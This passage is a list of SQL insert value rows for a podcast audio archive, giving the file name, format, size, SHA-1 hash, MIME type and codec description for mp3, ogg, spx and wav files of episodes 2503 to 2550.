(2503,'hpr2503.mp3','mp3',8009317,'3b031e722132415f9bbca75e21b8e95835571c52','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2503,'hpr2503.ogg','ogg',9586520,'995d863e87e638f54e5863ad5e2a5d16ee96d42c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2503,'hpr2503.spx','spx',3576766,'10dbce99dbae2a19feed1fe2eea8e9fb6c803614','application/ogg; charset=binary','Ogg data, Speex audio'),
(2504,'hpr2504.mp3','mp3',17909713,'a97ae63e2aaa0f15f6ecca3b82f6b3503111c0e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2504,'hpr2504.ogg','ogg',20432053,'63d82d3024c6d1e9d4c20bfb9b1997dffb8d1bfd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2504,'hpr2504.spx','spx',7998414,'4856f49ad975081762d44de1559b6df503b5bab6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2505,'hpr2505.mp3','mp3',14114432,'966a955dbab1eddacc5dbe71541910c4ef57aa85','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2505,'hpr2505.ogg','ogg',15666421,'3cad869bc732d43303fc46c957b18e47690adb78','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2505,'hpr2505.spx','spx',6303340,'ba9a1ef0fb19dccd7c20d73aaeec13a6336d8924','application/ogg; charset=binary','Ogg data, Speex audio'),
(2506,'hpr2506.mp3','mp3',5413161,'f73b116fc1296640481c01ffcdea91d16e66e0bf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2506,'hpr2506.ogg','ogg',6085460,'b3d83e18a4dbfa2d5aba536c36faa9af1c62d654','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2506,'hpr2506.spx','spx',2417292,'66536be40c41312c6bd072546ffd363e1b7c5968','application/ogg; charset=binary','Ogg data, Speex audio'),
(2507,'hpr2507.mp3','mp3',9634206,'f721c05b7ca22963d57494da7b6d9846df0b58fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2507,'hpr2507.ogg','ogg',9856197,'b180b5ed474aadc7f1c0772851d92b9b597ecd37','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2507,'hpr2507.spx','spx',4302558,'f41d133b27b82409b31d941a78a2f1266e4c023e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2508,'hpr2508.mp3','mp3',5476705,'31562a8913cc0c058315297c8666542d5d346bd8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2508,'hpr2508.ogg','ogg',5808628,'746039d1be62352e28a17db7999ed3f4c9d9b40e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2508,'hpr2508.spx','spx',2445655,'38dbfaf8627fb79305118b709b21f5ba4a6294e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2509,'hpr2509.mp3','mp3',57684411,'c48c426a32ece5d34aa952486bb9b0c3d80ef967','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2509,'hpr2509.ogg','ogg',63367303,'664680f8f2ba4d600a4704a6b954de2823d9d8e2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2509,'hpr2509.spx','spx',25762157,'d81699aedc8a0ffdf91ce8f6e88a800b1bd58f6e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2510,'hpr2510.mp3','mp3',10955113,'c8905e767045df93ff46df2cce4066d176307cb8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2510,'hpr2510.ogg','ogg',12811343,'378cdb9f721e6b73561e1465468d9cad2f8484a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2510,'hpr2510.spx','spx',4892390,'74a1d4109fed67dd52ff8aa77c8742952ab21698','application/ogg; charset=binary','Ogg data, Speex audio'),
(2511,'hpr2511.mp3','mp3',4442036,'433264bc5e123b32d1c011630bad758f5ceeb8be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2511,'hpr2511.ogg','ogg',4925249,'ee8b4842984a2665f4723411fbc453e8004bd0f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2511,'hpr2511.spx','spx',1983615,'2c279e959a4d030dc4fc414fb5f719551bfe887c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2512,'hpr2512.mp3','mp3',12972327,'9298e253bcadf2e2c03e1ff8b676c0e551360c66','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2512,'hpr2512.ogg','ogg',14604082,'ba29bb8c23bf0f9afa63ebb591eba8559df8cade','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2512,'hpr2512.spx','spx',5793269,'1d0968b2c020abea73ec13d3bcdd2a4cbe71edab','application/ogg; charset=binary','Ogg data, Speex audio'),
(2513,'hpr2513.mp3','mp3',6869591,'0b634fa789a5d72d0c7426780ea7aa20bd5a20b5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2513,'hpr2513.ogg','ogg',8120009,'7dfbdab51d6035d913b78798db94a30ac74b81bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2513,'hpr2513.spx','spx',3067814,'bf8e94a89c8c8ec21d7d67aa3672cccdde33aac4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2514,'hpr2514.mp3','mp3',16331725,'606b5b52fd388a3b43c46745904fee828adbf13c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2514,'hpr2514.ogg','ogg',16622936,'817c68debbe089fb7f2210bb63013f119eb1e4c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2514,'hpr2514.spx','spx',7293693,'8696ae19b6e96e69f9935d12be0572301224a408','application/ogg; charset=binary','Ogg data, Speex audio'),
(2515,'hpr2515.mp3','mp3',82445554,'46fdb9d118e618c46e8f4924204bba06d9f52906','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2515,'hpr2515.ogg','ogg',81767342,'d2e72175b68d4e9c915723aad7437fc23d8b5e75','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2515,'hpr2515.spx','spx',36820783,'0927295369aa5110a103dc48dd4f07a4875efa1e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2516,'hpr2516.mp3','mp3',21333181,'1a3df7d9bb36fb72f25c1bc00a968765b9b3df3f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2516,'hpr2516.ogg','ogg',23755797,'327eb4322fb2b7a4e4cb560b9c82ff01e1bd6835','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2516,'hpr2516.spx','spx',9527339,'1d16c96c0d101be7d6bebdcbadc563fbb079f875','application/ogg; charset=binary','Ogg data, Speex audio'),
(2517,'hpr2517.mp3','mp3',8572277,'153f7c4388a5b299f6d6c94b80a60d83e2adf70b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2517,'hpr2517.ogg','ogg',8993302,'5659d6c1d7f8cb7b7f9acf0665397d5405622f35','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2517,'hpr2517.spx','spx',3828176,'6b6fe2a33fd6fea650c8ef068bfde9baf5e1ec60','application/ogg; charset=binary','Ogg data, Speex audio'),
(2518,'hpr2518.mp3','mp3',12620288,'4485a991ffb06912ef6c552cb04a003f6fcfb2fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2518,'hpr2518.ogg','ogg',13904721,'b1f57d7038385c439c011ed17db41d827a5581b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2518,'hpr2518.spx','spx',5636136,'49717e2feae14910396e7408e74a2770914008fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(2519,'hpr2519.mp3','mp3',6718722,'a63fa15a8aa9df4670fc1082befcba8bdbd5237c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2519,'hpr2519.ogg','ogg',8552089,'38b098273c718dcdb9fe53a702d89b2dd87420d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2519,'hpr2519.spx','spx',3000443,'6378945f57029afdc29d993aa183649dbfcbd3c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2520,'hpr2520.mp3','mp3',9591305,'31da9ab9a87fcea294796beb908bf76b707fffb1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2520,'hpr2520.ogg','ogg',11536375,'5a6fe6ebca8f0bc99e540d98bad57628efbdf33b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2520,'hpr2520.spx','spx',4283335,'4562ecf107fed20c01f2048f5169d70927b2a911','application/ogg; charset=binary','Ogg data, Speex audio'),
(2521,'hpr2521.mp3','mp3',32521193,'274392a3d4cd0686182630bb3d081556a72ae2eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2521,'hpr2521.ogg','ogg',32424648,'b0d9491775b367451bc9a8905a1c91eed0a35990','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2521,'hpr2521.spx','spx',14524019,'5e62c1527ca828366ff26bbaccc5f9587fc468be','application/ogg; charset=binary','Ogg data, Speex audio'),
(2522,'hpr2522.mp3','mp3',6354005,'dcb1193c0812f3d102c3d6a6e1731f1e0752fd52','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2522,'hpr2522.ogg','ogg',6794648,'7aee109168f67a8cc06a0946dee6f4d446202387','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2522,'hpr2522.spx','spx',2837534,'e5ffa8ae914a4ede989fc76359eddb7bc3faf15a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2523,'hpr2523.mp3','mp3',7542009,'08137c6ffdceb8f447370f98fa763024480a2671','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2523,'hpr2523.ogg','ogg',7706746,'60bb44d49c51d51e498c7f0a5d2f37872b2f7b45','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2523,'hpr2523.spx','spx',3367995,'4bb97085c20507b850f8cbfe218688a4e96bf619','application/ogg; charset=binary','Ogg data, Speex audio'),
(2524,'hpr2524.mp3','mp3',9795906,'0ad62960de3128e04ea97cb2eb20b875dc4c2cd3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2524,'hpr2524.ogg','ogg',11053501,'fc04e4a2ed484f21c7d3a88e464cf62fb71935df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2524,'hpr2524.spx','spx',4374677,'25445149d47e0b6e4052f2c3b71e1ab190507229','application/ogg; charset=binary','Ogg data, Speex audio'),
(2525,'hpr2525.mp3','mp3',88550477,'bfd8bb5e12e502cfa3ceb045155475bef9b66a2a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2525,'hpr2525.ogg','ogg',89835306,'f72f813b1d3f71dfe0d75897d0c1a8850d5a8008','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2525,'hpr2525.spx','spx',39547259,'df9d4ee163e85d2ce8cb390c138141451987ae49','application/ogg; charset=binary','Ogg data, Speex audio'),
(2526,'hpr2526.mp3','mp3',21353468,'a6c90dcb0abd902f3223f7395f12eeceec5dde10','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2526,'hpr2526.ogg','ogg',23714127,'b736714b88ee2818d7b9eba01847853361451989','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2526,'hpr2526.spx','spx',9536356,'1db0735249dbcd498e4a612a667fd2e33ddc3ede','application/ogg; charset=binary','Ogg data, Speex audio'),
(2527,'hpr2527.mp3','mp3',7799102,'f32526263393a70b024751b56c30cd03bfa58da3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2527,'hpr2527.ogg','ogg',8244577,'d5ea1b160a845653b6a8632259b82a48ac81f71b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2527,'hpr2527.spx','spx',3482869,'8811b8a0e42ed2e6e7a879261d2aa2d9db7f22c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2528,'hpr2528.mp3','mp3',7964799,'c95ae9eccb1efa3b2229a02400e73b4dddb6aa97','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2528,'hpr2528.ogg','ogg',8973896,'7adf5405c6b7efbfabe4bcb27f9342d57ac15bdb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2528,'hpr2528.spx','spx',3556958,'9fa4631bac3484ed110b3a180bb819331654d360','application/ogg; charset=binary','Ogg data, Speex audio'),
(2529,'hpr2529.mp3','mp3',5827337,'7428e32c6d22a2cb481e6edb7af2459ee6a45614','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2529,'hpr2529.ogg','ogg',6207223,'24646640457c9c8eb586d464f73e7f51083bea4d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2529,'hpr2529.spx','spx',2602348,'ad4c87c0a6ced65db465594951d90ba2b8426c77','application/ogg; charset=binary','Ogg data, Speex audio'),
(2530,'hpr2530.mp3','mp3',6842802,'18962b5d862575e35c5aa42c6eabebc68c17a066','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2530,'hpr2530.ogg','ogg',8109295,'db9598aa09653222d38ec9c969df6c04b64599cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2530,'hpr2530.spx','spx',3055766,'5e54d072632355f095a4cff4888cec1653670f28','application/ogg; charset=binary','Ogg data, Speex audio'),
(2531,'hpr2531.mp3','mp3',8036705,'a4661e4377b793943ed69122ac7f9c6b9e55c4df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2531,'hpr2531.ogg','ogg',8512639,'6c6ddb13fe40deb0440799f2073ef8abe18aea16','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2531,'hpr2531.spx','spx',3588999,'0855515c4319fcd7b121b30a1ce4f2eb271b011c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2532,'hpr2532.mp3','mp3',12984116,'9105dc075d1be16bf5d0ff267100521db555ef86','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2532,'hpr2532.ogg','ogg',14076939,'e4b39880ddf46187aefcd21fa6b89147228db604','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2532,'hpr2532.spx','spx',5798637,'e582946b9e23ca751ed18166131bcbd52155001e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2533,'hpr2533.mp3','mp3',13093372,'a9028145d0b27af2fc6462a359fe3034221f821f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2533,'hpr2533.ogg','ogg',14760388,'531f1172b67dd8a1bd85b45d21df37ba7446178e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2533,'hpr2533.spx','spx',5847387,'c0abfd55714d1347a5e0dff87317222f03ec0ab6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2534,'hpr2534.mp3','mp3',16200926,'d03e91eced13cc90d8853d15345bd654007e2582','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2534,'hpr2534.ogg','ogg',17700482,'039acd257dcfeae57644dfa11f995a667485f9f0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2534,'hpr2534.spx','spx',7235286,'372de829d8a344e4bc1d006843e2bda318c7b324','application/ogg; charset=binary','Ogg data, Speex audio'),
(2535,'hpr2535.mp3','mp3',99949349,'5c6d139c889adb0656821d42c61fd6b787ec6ec3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2535,'hpr2535.ogg','ogg',100630229,'37aea95ee485a07307dcd24003165ddde4c91d9a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2535,'hpr2535.spx','spx',44638242,'c58665d4817f03b7662646e3193af442562a334b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2536,'hpr2536.mp3','mp3',9229796,'eb02b74f640f92ec05960550d620893a97b1e294','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2536,'hpr2536.ogg','ogg',9724587,'fc17575c57eb9390d01322d0ce67e4d53c044054','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2536,'hpr2536.spx','spx',4121875,'6add68fbcac5c752eb25514329ff6d5098a13b36','application/ogg; charset=binary','Ogg data, Speex audio'),
(2537,'hpr2537.mp3','mp3',2283299,'de6e772ac63f2f3e582644e30f3b24f47e8e16e2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2537,'hpr2537.ogg','ogg',2268193,'a9f5eb7aba495c1598c8ae3bf80ab2635e036507','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2537,'hpr2537.spx','spx',1019522,'d7f8dfb3e15fc5b89d9fe8001236e27255f5fe12','application/ogg; charset=binary','Ogg data, Speex audio'),
(2538,'hpr2538.mp3','mp3',13984270,'82005e04ea92c2a18c8b6c7526fb0101cf7b4cc3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2538,'hpr2538.ogg','ogg',15282807,'4f3387a3be3c5e58741550b97fa7f347b6c1de5e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2538,'hpr2538.spx','spx',6245298,'f5d6cd6be674f5c2e4903c0eb5a3d05a3a3014e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2539,'hpr2539.mp3','mp3',22993752,'e86bbbd55bc97742aa2a08f360756c758e5f3e1b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2539,'hpr2539.ogg','ogg',22131851,'3b099eb256875f4faad8674577887988b56aa6d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2539,'hpr2539.spx','spx',10269020,'557dd2622f2b9f28bacbc6bc68898635e5aef4f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2540,'hpr2540.mp3','mp3',10089920,'592a6aefffc15fd90d55ce69aa9fba70ddd140bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2540,'hpr2540.ogg','ogg',12094220,'e8acaa2135ae39a74d54e12632d36cfc3e2aad85','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2540,'hpr2540.spx','spx',4505992,'ff3c387f6b4ee6c4a9aff3b755037713315a61f7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2541,'hpr2541.mp3','mp3',4154083,'9e6ef2dacc83f412f472a0aa147183e52c9f8159','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2541,'hpr2541.ogg','ogg',4385117,'5e1c0963d9ea541db543e4691089c92d3de4b2ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2541,'hpr2541.spx','spx',1854999,'7bb72b438dea5e91c5be3947977eda71eeefa39d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2542,'hpr2542.mp3','mp3',6437645,'f673f4dde87632097ea014ea4b40b467825690b4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2542,'hpr2542.ogg','ogg',6874404,'794e8b2be2dfe21e08c3e2f441477ab42495473b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2542,'hpr2542.spx','spx',2874887,'e30f0014b01abb415be25f62b40a1d09a63b96de','application/ogg; charset=binary','Ogg data, Speex audio'),
(2543,'hpr2543.mp3','mp3',5317668,'a06cc54f65195acecffa1d9b2fb6b62e62d9e441','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2543,'hpr2543.ogg','ogg',5903519,'7cbe02ec2ab789adf98151e7f01d5328686985d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2543,'hpr2543.spx','spx',2374717,'578d6bad8ded230018381150539e7a9796bee290','application/ogg; charset=binary','Ogg data, Speex audio'),
(2544,'hpr2544.mp3','mp3',16945329,'6b32e0595fb11280767418c2e31913a14e12bae0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2544,'hpr2544.ogg','ogg',18816635,'892b9005f1eb7308d3bff9d7a4e4d010cf574725','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2544,'hpr2544.spx','spx',7567702,'c5cceae084e8f79b5c0cfa3aa8326d44e84dc361','application/ogg; charset=binary','Ogg data, Speex audio'),
(2545,'hpr2545.mp3','mp3',68559779,'def5928d8c2a837e5be075abee86cdae9673ab86','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2545,'hpr2545.ogg','ogg',68040001,'8944d83ac8f3cda5c688b83bb8f020eb52556e04','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2545,'hpr2545.spx','spx',30619262,'c21618a7f73d1b2d948641667bccadabdfe239c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2545,'hpr2545.wav','wav',755321066,'2c5da6bd608c0f0819ec37d49c02076cbd2d587b','audio/x-wav; charset=binary','RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz'),
(2546,'hpr2546.mp3','mp3',13867264,'baf5e54a42323c8f5f8749b4d139eebe0781105d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2546,'hpr2546.ogg','ogg',15116185,'e2bc8da321dd9ca1b98df091ac84cfdefda15500','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2546,'hpr2546.spx','spx',6193069,'59dd78eec76a7e43c637606f172361d6deb429ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2547,'hpr2547.mp3','mp3',5852239,'7a715d9e9dfc1c7a6a1709cae2a1cba2e314cc5b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2547,'hpr2547.ogg','ogg',6158217,'9a209f2e1a68123015ac7a166c539149b4b2c68e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2547,'hpr2547.spx','spx',2613370,'d66258aafb47367ffe3a4449e4bc18dc0527a7df','application/ogg; charset=binary','Ogg data, Speex audio'),
(2548,'hpr2548.mp3','mp3',9484323,'a027a86af8c6a5e33acd2cf78c764053ce79af8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2548,'hpr2548.ogg','ogg',10042360,'cd65e9be57d770b7aca65d11b978a365a1910cf1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2548,'hpr2548.spx','spx',4235555,'c09855692898d7318c5e799c47a53c317bb81d15','application/ogg; charset=binary','Ogg data, Speex audio'),
(2549,'hpr2549.mp3','mp3',3590451,'0473bac1c92f590a5e7b0714de4ec2fff2db7289','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2549,'hpr2549.ogg','ogg',3992021,'c00be50dee95a881794ffba4bf489c284ec4791d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2549,'hpr2549.spx','spx',1603330,'2cc4d950b2c18dd845e868ef2dcccc9621c99f3c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2550,'hpr2550.mp3','mp3',30202970,'a19fa6e88ba85891d301ac4f0e6d48b44da41459','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2550,'hpr2550.ogg','ogg',35875440,'48c3056301ec0da4dcb269f63e203ec37278fdde','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
